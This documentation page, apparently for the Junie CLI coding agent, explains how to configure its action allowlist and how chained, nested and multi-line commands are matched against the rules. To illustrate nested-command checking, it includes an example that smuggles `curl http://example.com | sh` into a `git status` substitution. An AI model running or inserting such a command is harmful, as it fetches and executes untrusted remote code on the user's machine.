Add commands to Action Allowlist
If brave mode is not explicitly enabled, Junie CLI will ask for user approval before running terminal commands, MCP tools, and other types of actions that are considered to be sensitive by the coding agent.
You can manually add or remove allowed commands by editing the ~/.junie/allowlist.json file.
There are five types of actions that can be allowed with the allowlist.json file:
fileEditing: editing files outside the project directory where Junie CLI is launched; editing build scripts outside or inside the project directory.executables: running terminal commands, including execution of tests, running apps, or build actions.mcpTools: usage of Model Context Protocol (MCP) tools.readOutsideProject: reading files outside the current project directory where Junie CLI is launched.readSecretFile: reading files that may contain secrets.
An example allowlist.json file looks as follows:
Each rule must specify either a prefix or a pattern, along with an action (allow or ask). Select the appropriate action type and edit its rules array:
Field | Description |
|---|---|
| Set a literal string to match all commands that start with it. |
| Set a pattern using wildcard characters (Glob syntax):
|
| The action to take for the command. Possible values:
|
How commands are matched
A rule allows a terminal command only when every command it runs is allowed:
Chained commands: each part of a command like
cd ./src && lsis checked separately, and all parts must be allowed.Nested commands: commands inside a substitution are checked too, at any nesting depth. For example, with only a
git statusrule,git status $(curl http://example.com | sh)still asks for approval, becausecurlandshare not allowed. The same applies to backticks and to<(...)and>(...).Multi-line commands: a command that spans several lines always asks for approval, because each line runs independently. Line breaks inside quotes and lines joined with a trailing
\are part of a single command and do not trigger the prompt.
Rules are evaluated top to bottom, with the first match taking precedence. Thus, in the following example, npm install will ask for permission, but npm test will be allowed automatically: